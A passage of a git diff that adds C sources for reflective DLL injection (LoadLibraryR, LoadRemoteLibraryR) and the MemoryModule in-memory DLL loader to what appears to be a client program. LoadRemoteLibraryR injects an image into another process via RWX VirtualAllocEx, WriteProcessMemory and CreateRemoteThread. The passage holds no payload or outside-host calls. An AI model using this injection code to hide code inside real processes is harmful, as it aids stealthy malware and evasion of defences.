export directory entry + uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS32)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + } + else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64 + { + is64 = TRUE; + // uiNameArray = the address of the modules export directory entry + uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS64)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + } + else + { + return 0; + } + + // get the File Offset of the export directory + uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress, is64 ); + + // get the File Offset for the array of name pointers + uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress, is64 ); + + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress, is64 ); + + // get the File Offset for the array of name ordinals + uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress, is64 ); + + // get a counter for the number of exported functions... + dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; + + // loop through all the exported functions to find the ReflectiveLoader + while( dwCounter-- ) + { + char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress, is64 )); + + if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL ) + { + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress, is64 ); + + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // return the File Offset to the ReflectiveLoader() functions code... + return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress, is64 ); + } + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + + return 0; +} +//===============================================================================================// +// Loads a DLL image from memory via its exported ReflectiveLoader function +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ) +{ + HMODULE hResult = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwOldProtect1 = 0; + DWORD dwOldProtect2 = 0; + REFLECTIVELOADER pReflectiveLoader = NULL; + DLLMAIN pDllMain = NULL; + + if( lpBuffer == NULL || dwLength == 0 ) + return NULL; + + __try + { + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); + if( dwReflectiveLoaderOffset != 0 ) + { + pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); + + // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader... + // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region + if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) ) + { + // call the librarys ReflectiveLoader... + pDllMain = (DLLMAIN)pReflectiveLoader(); + if( pDllMain != NULL ) + { + // call the loaded librarys DllMain to get its HMODULE + if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) ) + hResult = NULL; + } + // revert to the previous protection flags... + VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 ); + } + } + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + hResult = NULL; + } + + return hResult; +} +//===============================================================================================// +// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function +// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +// defined in order to use the correct RDI prototypes. +// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | +// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ +// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space. +// Note: This function currently cant inject accross architectures, but only to architectures which are the +// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64. +HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ) +{ + BOOL bSuccess = FALSE; + LPVOID lpRemoteLibraryBuffer = NULL; + LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; + HANDLE hThread = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwThreadId = 0; + + __try + { + do + { + if( !hProcess || !lpBuffer || !dwLength ) + break; + + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); + if( !dwReflectiveLoaderOffset ) + break; + + // alloc memory (RWX) in the host process for the image... + lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteLibraryBuffer ) + break; + + // write the image into the host process... + if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) + break; + + // add the offset to ReflectiveLoader() to the remote library address... + lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); + + // create a remote thread in the host process to call the ReflectiveLoader! + hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); + + } while( 0 ); + + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + hThread = NULL; + } + + return hThread; +} +//===============================================================================================// diff --git a/client/sources/LoadLibraryR.h b/client/sources/LoadLibraryR.h new file mode 100644 index 00000000..bb14a90e --- /dev/null +++ b/client/sources/LoadLibraryR.h @@ -0,0 +1,41 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +//===============================================================================================// +#include "ReflectiveDLLInjection.h" + +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); + +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ); + +HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/client/sources/MemoryModule.c b/client/sources/MemoryModule.c new file mode 100644 index 00000000..b3ab9098 --- /dev/null +++ b/client/sources/MemoryModule.c @@ -0,0 +1,916 @@ +/* + * Memory DLL loading code + * Version 0.0.4 + * + * Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de + * http://www.joachim-bauch.de + * + * The contents of this file are subject to the Mozilla Public License Version + * 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is MemoryModule.c + * + * The Initial Developer of the Original Code is Joachim Bauch. + * + * Portions created by Joachim Bauch are Copyright (C) 2004-2015 + * Joachim Bauch. All Rights Reserved. + * + */ +#include +#include +#include +#include +#ifdef DEBUG_OUTPUT +#include +#endif + +#ifndef IMAGE_SIZEOF_BASE_RELOCATION +// Vista SDKs no longer define IMAGE_SIZEOF_BASE_RELOCATION!? +#define IMAGE_SIZEOF_BASE_RELOCATION (sizeof(IMAGE_BASE_RELOCATION)) +#endif + +#include "MemoryModule.h" + +typedef BOOL (WINAPI *DllEntryProc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved); +typedef int (WINAPI *ExeEntryProc)(void); + +typedef struct { + PIMAGE_NT_HEADERS headers; + unsigned char *codeBase; + HCUSTOMMODULE *modules; + int numModules; + BOOL initialized; + BOOL isDLL; + BOOL isRelocated; + CustomLoadLibraryFunc loadLibrary; + CustomGetProcAddressFunc getProcAddress; + CustomFreeLibraryFunc freeLibrary; + void *userdata; + ExeEntryProc exeEntry; + DWORD pageSize; +} MEMORYMODULE, *PMEMORYMODULE; + +typedef struct { + LPVOID address; + LPVOID alignedAddress; + DWORD size; + DWORD characteristics; + BOOL last; +} SECTIONFINALIZEDATA, *PSECTIONFINALIZEDATA; + +#define GET_HEADER_DICTIONARY(module, idx) &(module)->headers->OptionalHeader.DataDirectory[idx] +#define ALIGN_DOWN(address, alignment) (LPVOID)((uintptr_t)(address) & ~((alignment) - 1)) + +#ifdef DEBUG_OUTPUT +static void +OutputLastError(const char *msg) +{ + LPVOID tmp; + char *tmpmsg; + FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, + NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&tmp, 0, NULL); + tmpmsg = (char *)LocalAlloc(LPTR, strlen(msg) + strlen(tmp) + 3); + sprintf(tmpmsg, "%s: %s", msg, tmp); + OutputDebugString(tmpmsg); + LocalFree(tmpmsg); + LocalFree(tmp); +} +#endif + +static BOOL +CopySections(const unsigned char *data, PIMAGE_NT_HEADERS old_headers, PMEMORYMODULE module) +{ + int i, size; + unsigned char *codeBase = module->codeBase; + unsigned char *dest; + PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers); + for (i=0; iheaders->FileHeader.NumberOfSections; i++, section++) { + if (section->SizeOfRawData == 0) { + // section doesn't contain data in the dll itself, but may define + // uninitialized data + size = old_headers->OptionalHeader.SectionAlignment; + if (size > 0) { + dest = (unsigned char *)VirtualAlloc(codeBase + section->VirtualAddress, + size, + MEM_COMMIT, + PAGE_READWRITE); + if (dest == NULL) { + return FALSE; + } + + // Always use position from file to support alignments smaller + // than page size. + dest = codeBase + section->VirtualAddress; + section->Misc.PhysicalAddress = (DWORD) (uintptr_t) dest; + memset(dest, 0, size); + } + + // section is empty + continue; + } + + // commit memory block and copy data from dll + dest = (unsigned char *)VirtualAlloc(codeBase + section->VirtualAddress, + section->SizeOfRawData, + MEM_COMMIT, + PAGE_READWRITE); + if (dest == NULL) { + return FALSE; + } + + // Always use position from file to support alignments smaller + // than page size. + dest = codeBase + section->VirtualAddress; + memcpy(dest, data + section->PointerToRawData, section->SizeOfRawData); + section->Misc.PhysicalAddress = (DWORD) (uintptr_t) dest; + } + + return TRUE; +} + +// Protection flags for memory pages (Executable, Readable, Writeable) +static int ProtectionFlags[2][2][2] = { + { + // not executable + {PAGE_NOACCESS, PAGE_WRITECOPY}, + {PAGE_READONLY, PAGE_READWRITE}, + }, { + // executable + {PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY}, + {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE}, + }, +}; + +static DWORD +GetRealSectionSize(PMEMORYMODULE module, PIMAGE_SECTION_HEADER section) { + DWORD size = section->SizeOfRawData; + if (size == 0) { + if (section->Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) { + size = module->headers->OptionalHeader.SizeOfInitializedData; + } else if (section->Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) { + size = module->headers->OptionalHeader.SizeOfUninitializedData; + } + } + return size; +} + +static BOOL +FinalizeSection(PMEMORYMODULE module, PSECTIONFINALIZEDATA sectionData) { + DWORD protect, oldProtect; + BOOL executable; + BOOL readable; + BOOL writeable; + + if (sectionData->size == 0) { + return TRUE; + } + + if (sectionData->characteristics & IMAGE_SCN_MEM_DISCARDABLE) { + // section is not needed any more and can safely be freed + if (sectionData->address == sectionData->alignedAddress && + (sectionData->last || + module->headers->OptionalHeader.SectionAlignment == module->pageSize || + (sectionData->size % module->pageSize) == 0) + ) { + // Only allowed to decommit whole pages + VirtualFree(sectionData->address, sectionData->size, MEM_DECOMMIT); + } + return TRUE; + } + + // determine protection flags based on characteristics + executable = (sectionData->characteristics & IMAGE_SCN_MEM_EXECUTE) != 0; + readable = (sectionData->characteristics & IMAGE_SCN_MEM_READ) != 0; + writeable = (sectionData->characteristics & IMAGE_SCN_MEM_WRITE) != 0; + protect = ProtectionFlags[executable][readable][writeable]; + if (sectionData->characteristics & IMAGE_SCN_MEM_NOT_CACHED) { + protect |= PAGE_NOCACHE; + } + + // change memory access flags + if (VirtualProtect(sectionData->address, sectionData->size, protect, &oldProtect) == 0) { +#ifdef DEBUG_OUTPUT + OutputLastError("Error protecting memory page"); +#endif + return FALSE; + } + + return TRUE; +} + +static BOOL +FinalizeSections(PMEMORYMODULE module) +{ + int i; + PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers); +#ifdef _WIN64 + uintptr_t imageOffset = (module->headers->OptionalHeader.ImageBase & 0xffffffff00000000); +#else + #define imageOffset 0 +#endif + SECTIONFINALIZEDATA sectionData; + sectionData.address = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset); + sectionData.alignedAddress = ALIGN_DOWN(sectionData.address, module->pageSize); + sectionData.size = GetRealSectionSize(module, section); + sectionData.characteristics = section->Characteristics; + sectionData.last = FALSE; + section++; + + // loop through all sections and change access flags + for (i=1; iheaders->FileHeader.NumberOfSections; i++, section++) { + LPVOID sectionAddress = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset); + LPVOID alignedAddress = ALIGN_DOWN(sectionAddress, module->pageSize); + DWORD sectionSize = GetRealSectionSize(module, section); + // Combine access flags of all sections that share a page + // TODO(fancycode): We currently share flags of a trailing large section + // with the page of a first small section. This should be optimized. + if (sectionData.alignedAddress == alignedAddress || (uintptr_t) sectionData.address + sectionData.size > (uintptr_t) alignedAddress) { + // Section shares page with previous + if ((section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0 || (sectionData.characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0) { + sectionData.characteristics = (sectionData.characteristics | section->Characteristics) & ~IMAGE_SCN_MEM_DISCARDABLE; + } else { + sectionData.characteristics |= section->Characteristics; + } + sectionData.size = (((uintptr_t)sectionAddress) + sectionSize) - (uintptr_t) sectionData.address; + continue; + } + + if (!FinalizeSection(module, §ionData)) { + return FALSE; + } + sectionData.address = sectionAddress; + sectionData.alignedAddress = alignedAddress; + sectionData.size = sectionSize; + sectionData.characteristics = section->Characteristics; + } + sectionData.last = TRUE; + if (!FinalizeSection(module, §ionData)) { + return FALSE; + } +#ifndef _WIN64 +#undef imageOffset +#endif + return TRUE; +} + +static BOOL +ExecuteTLS(PMEMORYMODULE module) +{ + unsigned char *codeBase = module->codeBase; + PIMAGE_TLS_DIRECTORY tls; + PIMAGE_TLS_CALLBACK* callback; + + PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_TLS); + if (directory->VirtualAddress == 0) { + return TRUE; + } + + tls = (PIMAGE_TLS_DIRECTORY) (codeBase + directory->VirtualAddress); + callback = (PIMAGE_TLS_CALLBACK *) tls->AddressOfCallBacks; + if (callback) { + while (*callback) { + (*callback)((LPVOID) codeBase, DLL_PROCESS_ATTACH, NULL); + callback++; + } + } + return TRUE; +} + +static BOOL +PerformBaseRelocation(PMEMORYMODULE module, SIZE_T delta) +{ + unsigned char *codeBase = module->codeBase; + PIMAGE_BASE_RELOCATION relocation; + + PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_BASERELOC); + if (directory->Size == 0) { + return (delta == 0); + } + + relocation = (PIMAGE_BASE_RELOCATION) (codeBase + directory->VirtualAddress); + for (; relocation->VirtualAddress > 0; ) { + DWORD i; + unsigned char *dest = codeBase + relocation->VirtualAddress; + unsigned short *relInfo = (unsigned short *)((unsigned char *)relocation + IMAGE_SIZEOF_BASE_RELOCATION); + for (i=0; i<((relocation->SizeOfBlock-IMAGE_SIZEOF_BASE_RELOCATION) / 2); i++, relInfo++) { + DWORD *patchAddrHL; +#ifdef _WIN64 + ULONGLONG *patchAddr64; +#endif + int type, offset; + + // the upper 4 bits define the type of relocation + type = *relInfo >> 12; + // the lower 12 bits define the offset + offset = *relInfo & 0xfff; + + switch (type) + { + case IMAGE_REL_BASED_ABSOLUTE: + // skip relocation + break; + + case IMAGE_REL_BASED_HIGHLOW: + // change complete 32 bit address + patchAddrHL = (DWORD *) (dest + offset); + *patchAddrHL += (DWORD) delta; + break; + +#ifdef _WIN64 + case IMAGE_REL_BASED_DIR64: + patchAddr64 = (ULONGLONG *) (dest + offset); + *patchAddr64 += (ULONGLONG) delta; + break; +#endif + + default: + //printf("Unknown relocation: %d\n", type); + break; + } + } + + // advance to next relocation block + relocation = (PIMAGE_BASE_RELOCATION) (((char *) relocation) + relocation->SizeOfBlock); + } + return TRUE; +} + +static BOOL +BuildImportTable(PMEMORYMODULE module) +{ + unsigned char *codeBase = module->codeBase; + PIMAGE_IMPORT_DESCRIPTOR importDesc; + BOOL result = TRUE; + + PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_IMPORT); + if (directory->Size == 0) { + return TRUE; + } + + importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (codeBase + directory->VirtualAddress); + for (; !IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && importDesc->Name; importDesc++) { + uintptr_t *thunkRef; + FARPROC *funcRef; + HCUSTOMMODULE *tmp; + HCUSTOMMODULE handle = module->loadLibrary((LPCSTR) (codeBase + importDesc->Name), module->userdata); + if (handle == NULL) { + SetLastError(ERROR_MOD_NOT_FOUND); + result = FALSE; + break; + } + + tmp = (HCUSTOMMODULE *) realloc(module->modules, (module->numModules+1)*(sizeof(HCUSTOMMODULE))); + if (tmp == NULL) { + module->freeLibrary(handle, module->userdata); + SetLastError(ERROR_OUTOFMEMORY); + result = FALSE; + break; + } + module->modules = tmp; + + module->modules[module->numModules++] = handle; + if (importDesc->OriginalFirstThunk) { + thunkRef = (uintptr_t *) (codeBase + importDesc->OriginalFirstThunk); + funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk); + } else { + // no hint table + thunkRef = (uintptr_t *) (codeBase + importDesc->FirstThunk); + funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk); + } + for (; *thunkRef; thunkRef++, funcRef++) { + if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) { + *funcRef = module->getProcAddress(handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef), module->userdata); + } else { + PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME) (codeBase + (*thunkRef)); + *funcRef = module->getProcAddress(handle, (LPCSTR)&thunkData->Name, module->userdata); + } + if (*funcRef == 0) { + result = FALSE; + break; + } + } + + if (!result) { + module->freeLibrary(handle, module->userdata); + SetLastError(ERROR_PROC_NOT_FOUND); + break; + } + } + + return result; +} + +static HCUSTOMMODULE _LoadLibrary(LPCSTR filename, void *userdata) +{ + HMODULE result = LoadLibraryA(filename); + if (result == NULL) { + return NULL; + } + + return (HCUSTOMMODULE) result; +} + +static FARPROC _GetProcAddress(HCUSTOMMODULE module, LPCSTR name, void *userdata) +{ + return (FARPROC) GetProcAddress((HMODULE) module, name); +} + +static void _FreeLibrary(HCUSTOMMODULE module, void *userdata) +{ + FreeLibrary((HMODULE) module); +} + +HMEMORYMODULE MemoryLoadLibrary(const void *data) +{ + return MemoryLoadLibraryEx(data, _LoadLibrary, _GetProcAddress, _FreeLibrary, NULL); +} + +HMEMORYMODULE MemoryLoadLibraryEx(const void *data, + CustomLoadLibraryFunc loadLibrary, + CustomGetProcAddressFunc getProcAddress, + CustomFreeLibraryFunc freeLibrary, + void *userdata) +{ + PMEMORYMODULE result; + PIMAGE_DOS_HEADER dos_header; + PIMAGE_NT_HEADERS old_header; + unsigned char *code, *headers; + SIZE_T locationDelta; + SYSTEM_INFO sysInfo; + HMODULE hModule; + + dos_header = (PIMAGE_DOS_HEADER)data; + if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) { + SetLastError(ERROR_BAD_EXE_FORMAT); + return NULL; + } + + old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)(data))[dos_header->e_lfanew]; + if (old_header->Signature != IMAGE_NT_SIGNATURE) { + SetLastError(ERROR_BAD_EXE_FORMAT); + return NULL; + } + +#ifdef _WIN64 + if (old_header->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) { +#else + if (old_header->FileHeader.Machine != IMAGE_FILE_MACHINE_I386) { +#endif + SetLastError(ERROR_BAD_EXE_FORMAT); + return NULL; + } + + if (old_header->OptionalHeader.SectionAlignment & 1) { + // Only support section alignments that are a multiple of 2 + SetLastError(ERROR_BAD_EXE_FORMAT); + return NULL; + } + + // reserve memory for image of library + // XXX: is it correct to commit the complete memory region at once? + // calling DllEntry raises an exception if we don't... + code = (unsigned char *)VirtualAlloc((LPVOID)(old_header->OptionalHeader.ImageBase), + old_header->OptionalHeader.SizeOfImage, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE); + + if (code == NULL) { + // try to allocate memory at arbitrary position + code = (unsigned char *)VirtualAlloc(NULL, + old_header->OptionalHeader.SizeOfImage, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE); + if (code == NULL) { + SetLastError(ERROR_OUTOFMEMORY); + return NULL; + } + } + + result = (PMEMORYMODULE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(MEMORYMODULE)); + if (result == NULL) { + VirtualFree(code, 0, MEM_RELEASE); + SetLastError(ERROR_OUTOFMEMORY); + return NULL; + } + + result->codeBase = code; + result->isDLL = (old_header->FileHeader.Characteristics & IMAGE_FILE_DLL) != 0; + result->loadLibrary = loadLibrary; + result->getProcAddress = getProcAddress; + result->freeLibrary = freeLibrary; + result->userdata = userdata; + + hModule = LoadLibrary ("kernel32.dll"); + if (hModule) { + int (WINAPI *GetNativeSystemInfo) (SYSTEM_INFO *systemInfo); + GetNativeSystemInfo = (void *) GetProcAddress (hModule, "GetNativeSystemInfo"); + GetNativeSystemInfo(&sysInfo); + } + result->pageSize = sysInfo.dwPageSize; + + // commit memory for headers + headers = (unsigned char *)VirtualAlloc(code, + old_header->OptionalHeader.SizeOfHeaders, + MEM_COMMIT, + PAGE_READWRITE); + + // copy PE header to code + memcpy(headers, dos_header, old_header->OptionalHeader.SizeOfHeaders); + result->headers = (PIMAGE_NT_HEADERS)&((const unsigned char *)(headers))[dos_header->e_lfanew]; + + // update position + result->headers->OptionalHeader.ImageBase = (uintptr_t)code; + + // copy sections from DLL file block to new memory location + if (!CopySections((const unsigned char *) data, old_header, result)) { + goto error; + } + + // adjust base address of imported data + locationDelta = (SIZE_T)(code - old_header->OptionalHeader.ImageBase); + if (locationDelta != 0) { + result->isRelocated = PerformBaseRelocation(result, locationDelta); + } else { + result->isRelocated = TRUE; + } + + // load required dlls and adjust function table of imports + if (!BuildImportTable(result)) { + goto error; + } + + // mark memory pages depending on section headers and release + // sections that are marked as "discardable" + if (!FinalizeSections(result)) { + goto error; + } + + // TLS callbacks are executed BEFORE the main loading + if (!ExecuteTLS(result)) { + goto error; + } + + // get entry point of loaded library + if (result->headers->OptionalHeader.AddressOfEntryPoint != 0) { + if (result->isDLL) { + DllEntryProc DllEntry = (DllEntryProc) (code + result->headers->OptionalHeader.AddressOfEntryPoint); + // notify library about attaching to process + BOOL successfull = (*DllEntry)((HINSTANCE)code, DLL_PROCESS_ATTACH, 0); + if (!successfull) { + SetLastError(ERROR_DLL_INIT_FAILED); + goto error; + } + result->initialized = TRUE; + } else { + result->exeEntry = (ExeEntryProc) (code + result->headers->OptionalHeader.AddressOfEntryPoint); + } + } else { + result->exeEntry = NULL; + } + + return (HMEMORYMODULE)result; + +error: + // cleanup + MemoryFreeLibrary(result); + return NULL; +} + +FARPROC MemoryGetProcAddress(HMEMORYMODULE module, LPCSTR name) +{ + unsigned char *codeBase = ((PMEMORYMODULE)module)->codeBase; + DWORD idx; + PIMAGE_EXPORT_DIRECTORY exports; + PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY((PMEMORYMODULE)module, IMAGE_DIRECTORY_ENTRY_EXPORT); + if (directory->Size == 0) { + // no export table found + SetLastError(ERROR_PROC_NOT_FOUND); + return NULL; + } + + exports = (PIMAGE_EXPORT_DIRECTORY) (codeBase + directory->VirtualAddress); + if (exports->NumberOfNames == 0 || exports->NumberOfFunctions == 0) { + // DLL doesn't export anything + SetLastError(ERROR_PROC_NOT_FOUND); + return NULL; + } + + if (HIWORD(name) == 0) { + // load function by ordinal value + if (LOWORD(name) < exports->Base) { + SetLastError(ERROR_PROC_NOT_FOUND); + return NULL; + } + + idx = LOWORD(name) - exports->Base; + } else { + // search function name in list of exported names + DWORD i; + DWORD *nameRef = (DWORD *) (codeBase + exports->AddressOfNames); + WORD *ordinal = (WORD *) (codeBase + exports->AddressOfNameOrdinals); + BOOL found = FALSE; + for (i=0; iNumberOfNames; i++, nameRef++, ordinal++) { + if (_stricmp(name, (const char *) (codeBase + (*nameRef))) == 0) { + idx = *ordinal; + found = TRUE; + break; + } + } + + if (!found) { + // exported symbol not found + SetLastError(ERROR_PROC_NOT_FOUND); + return NULL; + } + } + + if (idx > exports->NumberOfFunctions) { + // name <-> ordinal number don't match + SetLastError(ERROR_PROC_NOT_FOUND); + return NULL; + } + + // AddressOfFunctions contains the RVAs to the "real" functions + return (FARPROC) (codeBase + (*(DWORD *) (codeBase + exports->AddressOfFunctions + (idx*4)))); +} + +void MemoryFreeLibrary(HMEMORYMODULE mod) +{ + PMEMORYMODULE module = (PMEMORYMODULE)mod; + + if (module == NULL) { + return; + } + if (module->initialized) { + // notify library about detaching from process + DllEntryProc DllEntry = (DllEntryProc) (module->codeBase + module->headers->OptionalHeader.AddressOfEntryPoint); + (*DllEntry)((HINSTANCE)module->codeBase, DLL_PROCESS_DETACH, 0); + } + + if (module->modules != NULL) { + // free previously opened libraries + int i; + for (i=0; inumModules; i++) { + if (module->modules[i] != NULL) { + module->freeLibrary(module->modules[i], module->userdata); + } + } + + free(module->modules); + } + + if (module->codeBase != NULL) { + // release memory of library + VirtualFree(module->codeBase, 0, MEM_RELEASE); + } + + HeapFree(GetProcessHeap(), 0, module); +} + +int MemoryCallEntryPoint(HMEMORYMODULE mod) +{ + PMEMORYMODULE module = (PMEMORYMODULE)mod; + + if (module == NULL || module->isDLL || module->exeEntry == NULL || !module->isRelocated) { + return -1; + } + + return module->exeEntry(); +} + +#define DEFAULT_LANGUAGE MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL) + +HMEMORYRSRC MemoryFindResource(HMEMORYMODULE module, LPCTSTR name, LPCTSTR type) +{ + return MemoryFindResourceEx(module, name, type, DEFAULT_LANGUAGE); +} + +static PIMAGE_RESOURCE_DIRECTORY_ENTRY _MemorySearchResourceEntry( + void *root, + PIMAGE_RESOURCE_DIRECTORY resources, + LPCTSTR key) +{ + PIMAGE_RESOURCE_DIRECTORY_ENTRY entries = (PIMAGE_RESOURCE_DIRECTORY_ENTRY) (resources + 1); + PIMAGE_RESOURCE_DIRECTORY_ENTRY result = NULL; + DWORD start; + DWORD end; + DWORD middle; + + if (!IS_INTRESOURCE(key) && key[0] == TEXT('#')) { + // special case: resource id given as string + TCHAR *endpos = NULL; + long int tmpkey = (WORD) _tcstol((TCHAR *) &key[1], &endpos, 10); + if (tmpkey <= 0xffff && lstrlen(endpos) == 0) { + key = MAKEINTRESOURCE(tmpkey); + } + } + + // entries are stored as ordered list of named entries, + // followed by an ordered list of id entries - we can do + // a binary search to find faster... + if (IS_INTRESOURCE(key)) { + WORD check = (WORD) (uintptr_t) key; + start = resources->NumberOfNamedEntries; + end = start + resources->NumberOfIdEntries; + + while 